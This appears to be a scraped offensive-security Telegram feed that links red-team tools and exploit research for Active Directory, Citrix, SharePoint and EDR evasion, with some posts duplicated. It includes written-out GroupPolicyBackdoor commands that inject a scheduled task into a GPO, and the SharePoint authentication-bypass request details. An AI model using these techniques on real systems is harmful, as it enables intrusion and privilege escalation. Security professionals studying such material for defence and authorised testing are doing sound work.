Forwarded from Offensive Xwitter
😈 [ Toffy @toffyrak ]
I have just released my first tool: GPOHound 🚀
GPOHound is an offensive tool for dumping and analysing GPOs. It leverages BloodHound data and enriches it with insights extracted from the analysis.
Check it out here:
🔗 https://github.com/cogiceo/GPOHound
🐥 [ tweet ]
I have just released my first tool: GPOHound 🚀
GPOHound is an offensive tool for dumping and analysing GPOs. It leverages BloodHound data and enriches it with insights extracted from the analysis.
Check it out here:
🔗 https://github.com/cogiceo/GPOHound
🐥 [ tweet ]
🔥20❤6
🔐 Bitrix CMS Ultimate Pentest Guide
A detailed guide on penetration testing for 1C-Bitrix CMS, one of the most popular content management systems in CIS countries. The guide covers authentication bypasses, XSS, SSRF, LFI, RCE exploits, WAF bypass methods, and vulnerabilities in third-party modules (especially Aspro).
🔗 Source:
https://pentestnotes.ru/notes/bitrix_pentest_full/
#1c #bitrix #web
A detailed guide on penetration testing for 1C-Bitrix CMS, one of the most popular content management systems in CIS countries. The guide covers authentication bypasses, XSS, SSRF, LFI, RCE exploits, WAF bypass methods, and vulnerabilities in third-party modules (especially Aspro).
🔗 Source:
https://pentestnotes.ru/notes/bitrix_pentest_full/
#1c #bitrix #web
2🔥15👍8😁6❤2
Forwarded from Ralf Hacker Channel (Ralf Hacker)
CVE-2025-33073: Reflective Kerberos Relay (LPE)
Blog: https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/
Patched: June 10, 2025
Интересная LPE с релеем на себя... Даже CVE есть)
#lpe #ad #relay #pentest #redteam
Blog: https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/
Patched: June 10, 2025
Интересная LPE с релеем на себя... Даже CVE есть)
#lpe #ad #relay #pentest #redteam
RedTeam Pentesting - Blog
A Look in the Mirror - The Reflective Kerberos Relay Attack
It is a sad truth in IT security that some vulnerabilities never quite want to die and time and time again, vulnerabilities that have long been fixed get revived and come right back at you. While researching relay attacks, the bane of Active …
❤7🔥4👍2
Forwarded from Offensive Xwitter
Успейте подать заявку на Pentest Award 2025 до 30 июня!
Это отраслевая награда для специалистов по тестированию на проникновение, которая проводится уже в третий раз. Основная задача премии — выделить лучших специалистов и показать их вклад в развитие российского пентеста.
Участие бесплатное, финалисты получат технику apple и максимальный почет сообщества этичных хакеров. Церемония награждения будет проходить 1 августа в Москве.
Заявка на премию — это рассказ о лучшем проекте в свободной форме. Не нужно раскрывать эксплоиты, любые шаги в цепочке эксплуатации могут быть полностью анонимны, а детали могут быть скрыты, важно отразить сам подход и идею.
Подать заявку и узнать больше информации можно на сайте — https://award.awillix.ru/
Это отраслевая награда для специалистов по тестированию на проникновение, которая проводится уже в третий раз. Основная задача премии — выделить лучших специалистов и показать их вклад в развитие российского пентеста.
Участие бесплатное, финалисты получат технику apple и максимальный почет сообщества этичных хакеров. Церемония награждения будет проходить 1 августа в Москве.
Заявка на премию — это рассказ о лучшем проекте в свободной форме. Не нужно раскрывать эксплоиты, любые шаги в цепочке эксплуатации могут быть полностью анонимны, а детали могут быть скрыты, важно отразить сам подход и идею.
Подать заявку и узнать больше информации можно на сайте — https://award.awillix.ru/
❤5🔥5👍4🤔2
🔍 NauthNRPC
A Python tool that introduces a new method for gathering domain information, including the enumeration of domain users. The tool leverages auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. All that's required is the domain controller's IP address, and the entire process can be completed without providing any credentials.
🔗 Research:
https://securelist.com/no-auth-domain-information-enumeration/112629/
🔗 Source:
https://github.com/sud0Ru/NauthNRPC
#ad #enum #netlogon #rpc
A Python tool that introduces a new method for gathering domain information, including the enumeration of domain users. The tool leverages auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. All that's required is the domain controller's IP address, and the entire process can be completed without providing any credentials.
🔗 Research:
https://securelist.com/no-auth-domain-information-enumeration/112629/
🔗 Source:
https://github.com/sud0Ru/NauthNRPC
#ad #enum #netlogon #rpc
4🔥25👍6❤1
🔀 LdrShuffle
Code execution/injection technique using
🔗 Source:
https://github.com/RWXstoned/LdrShuffle
#windows #peb #dll #injection #evasion
Code execution/injection technique using
_LDR_DATA_TABLE_ENTRY structure manipulation in PEB to redirect EntryPoint of loaded DLLs. Allows code execution without using classic APIs like CreateRemoteThread or QueueUserAPC.🔗 Source:
https://github.com/RWXstoned/LdrShuffle
#windows #peb #dll #injection #evasion
1🔥9👍7❤1
This media is not supported in your browser
VIEW IN TELEGRAM
🩸 CitrixBleed 2 — Citrix NetScaler Memory Leak (CVE-2025-5777)
Critical memory leak vulnerability in Citrix NetScaler ADC/Gateway. Sending malformed POST request with login parameter without value causes server to return ~127 bytes of uninitialized stack memory, including session tokens, enabling MFA bypass and active session hijacking.
🔗 Research:
https://horizon3.ai/attack-research/attack-blogs/cve-2025-5777-citrixbleed-2-write-up-maybe/
🔗 Source:
https://github.com/win3zz/CVE-2025-5777
#citrix #netscaler #memoryleak #exploit
Critical memory leak vulnerability in Citrix NetScaler ADC/Gateway. Sending malformed POST request with login parameter without value causes server to return ~127 bytes of uninitialized stack memory, including session tokens, enabling MFA bypass and active session hijacking.
🔗 Research:
https://horizon3.ai/attack-research/attack-blogs/cve-2025-5777-citrixbleed-2-write-up-maybe/
🔗 Source:
https://github.com/win3zz/CVE-2025-5777
#citrix #netscaler #memoryleak #exploit
👍13❤8🔥7
This is a tool for red and blue teams that transforms BloodHound data into a fully functional, Active Directory replica environment via the Ludus framework for controlled testing. This tool can be used to replicate most AD objects and permissions or can be used to replicate a specific Attack Path.
🔗 Research:
https://specterops.io/blog/2025/07/14/ludushound-raising-bloodhound-attack-paths-to-life/
🔗 Source:
https://gitlab.com/badsectorlabs/ludus
#ad #bloodhound #ludus #replica
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤7👍3👎2🔥2
🔥 MS-RPC-Fuzzer
PowerShell-based fuzzer that automates MS-RPC vulnerability research by dynamically creating RPC clients and fuzzing procedures with random inputs. Visualizes results through Neo4j graphs to help researchers identify potentially vulnerable RPC services.
🔗 Research:
https://www.incendium.rocks/posts/Automating-MS-RPC-Vulnerability-Research/
🔗 Source:
https://github.com/warpnet/MS-RPC-Fuzzer
#rpc #fuzzing #windows #vulnerability #research
PowerShell-based fuzzer that automates MS-RPC vulnerability research by dynamically creating RPC clients and fuzzing procedures with random inputs. Visualizes results through Neo4j graphs to help researchers identify potentially vulnerable RPC services.
🔗 Research:
https://www.incendium.rocks/posts/Automating-MS-RPC-Vulnerability-Research/
🔗 Source:
https://github.com/warpnet/MS-RPC-Fuzzer
#rpc #fuzzing #windows #vulnerability #research
2🔥15👍1
🔑 Golden DMSA
Critical vulnerability in Windows Server 2025 allows attackers with KDS root key access to generate passwords for all dMSA/gMSA accounts forest-wide. New research reveals design flaw in ManagedPasswordId structure - only 1,024 possible combinations makes brute-force trivial.
🔗 Research:
https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/
🔗 Source:
https://github.com/Semperis/GoldenDMSA
#ad #windows #dmsa #kerberos #persistence
Critical vulnerability in Windows Server 2025 allows attackers with KDS root key access to generate passwords for all dMSA/gMSA accounts forest-wide. New research reveals design flaw in ManagedPasswordId structure - only 1,024 possible combinations makes brute-force trivial.
🔗 Research:
https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/
🔗 Source:
https://github.com/Semperis/GoldenDMSA
#ad #windows #dmsa #kerberos #persistence
❤14🔥11👍4👎3🤔3
Introductory course on browser exploitation — not just covering individual JIT bugs, but a comprehensive dive into browser architecture, security layers, and principles of building exploit chains. The author demonstrates how to turn memory corruption into working exploits by analyzing a functional 3-stage chain for Chrome 130.
🔗 Source:
https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/
#chrome #v8 #sandbox #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17❤4😱4🔥1
Critical deserialization of untrusted data vulnerability in Microsoft SharePoint allows unauthenticated remote code execution over the network. The exploit uses POST requests to
/_layouts/15/ToolPane.aspx with HTTP Referer header /_layouts/SignOut.aspx to bypass authentication, then extracts MachineKey configuration to generate valid __VIEWSTATE payloads for arbitrary code execution via a single HTTP request.🔗 Research:
https://research.eye.security/sharepoint-under-siege/
🔗 PoC:
https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501
🔗 Exploit:
https://github.com/soltanali0/CVE-2025-53770-Exploit
#ad #sharepoint #deserialization #toolshell #rce
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥13👍4
Forwarded from PT SWARM
👑 Our researcher has discovered LPE in VMWare Tools (CVE-2025-22230 & CVE-2025-22247) via VGAuth!
Write-up by the one who broke it: Sergey Bliznyuk
https://swarm.ptsecurity.com/the-guest-who-could-exploiting-lpe-in-vmware-tools/
Write-up by the one who broke it: Sergey Bliznyuk
https://swarm.ptsecurity.com/the-guest-who-could-exploiting-lpe-in-vmware-tools/
1🔥10😁6👍2
Forwarded from Whitehat Lab
GitHub
GitHub - synacktiv/GroupPolicyBackdoor: Group Policy Objects manipulation and exploitation framework
Group Policy Objects manipulation and exploitation framework - synacktiv/GroupPolicyBackdoor
Инструмент пост эксплуатации для различных манипуляций с GPO. Написан на
Впервые представлена на DEFCON 33
Примеры:
#backup
python3 gpb.py restore backup -d 'corp.com' -o './my_backups' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'
#inject
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'
Пример ini:
[MODULECONFIG]
name = Scheduled Tasks
type = computer
[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"
[MODULEFILTERS]
filters =
[{
"operator": "AND",
"type": "Computer Name",
"value": "ad01-srv1.corp.com"
}]
GPO creation, deletion, backup and injections
Various injectable configurations, with, for each, customizable options (see list in the wiki)
Possibility to remove injected configurations from the target GPO
Possibility to revert the actions performed on client devices
GPO links manipulation
GPO enumeration / user privileges enumeration on GPOs
#gpo #redteam #windows
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11👍5🔥4🤔1
🛡CreateProcessAsPPL
This is a utility for running processes with Protected Process Light (PPL) protection, enabling bypass of EDR/AV solution defensive mechanisms. It leverages legitimate Windows clipup.exe functionality from System32 to create protected processes that can overwrite antivirus service executable files.
🔗 Source:
https://github.com/2x7EQ13/CreateProcessAsPPL
🔗 Research:
https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
#av #edr #bypass #ppl
This is a utility for running processes with Protected Process Light (PPL) protection, enabling bypass of EDR/AV solution defensive mechanisms. It leverages legitimate Windows clipup.exe functionality from System32 to create protected processes that can overwrite antivirus service executable files.
🔗 Source:
https://github.com/2x7EQ13/CreateProcessAsPPL
🔗 Research:
https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
#av #edr #bypass #ppl
1👍10❤5
🎯 SpearSpray
Advanced password spraying tool for Active Directory environments. Combines LDAP user enumeration with intelligent pattern-based password generation. Uses Kerberos pre-authentication and leverages user-specific data (pwdLastSet, displayName) to create personalized passwords per user.
🔗 Source:
https://github.com/sikumy/spearspray
#ad #password #spraying #kerberos #bloodhound
Advanced password spraying tool for Active Directory environments. Combines LDAP user enumeration with intelligent pattern-based password generation. Uses Kerberos pre-authentication and leverages user-specific data (pwdLastSet, displayName) to create personalized passwords per user.
🔗 Source:
https://github.com/sikumy/spearspray
#ad #password #spraying #kerberos #bloodhound
2🔥13👍5
Forwarded from Offensive Xwitter
😈 [ codewhisperer84 @codewhisperer84 ]
Check out Titanis, my new C#-based protocol library! It features implementations of SMB and various Windows RPC protocols along with Kerberos and NTLM.
🔗 https://github.com/trustedsec/Titanis/
🐥 [ tweet ]
Check out Titanis, my new C#-based protocol library! It features implementations of SMB and various Windows RPC protocols along with Kerberos and NTLM.
🔗 https://github.com/trustedsec/Titanis/
🐥 [ tweet ]
🔥7❤5❤🔥3👍2
Forwarded from Pentest Notes
Подготовил для вас подробное руководство по тестированию на проникновение Outlook Web Access (OWA). 😈
➡️ В статье я разобрал все основные атаки и уязвимости OWA. Собрал и структурировал самое полезное в одном месте.
➡️ Также материал идеально подойдет для тех, кто все еще путает между собой OWA, Outlook и MS Exchange :)
Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность.🥤
Ссылка на статью
💫 @pentestnotes | #pentest #OWA #Exchange
Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность.
Ссылка на статью
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤🔥4👍4❤3😁1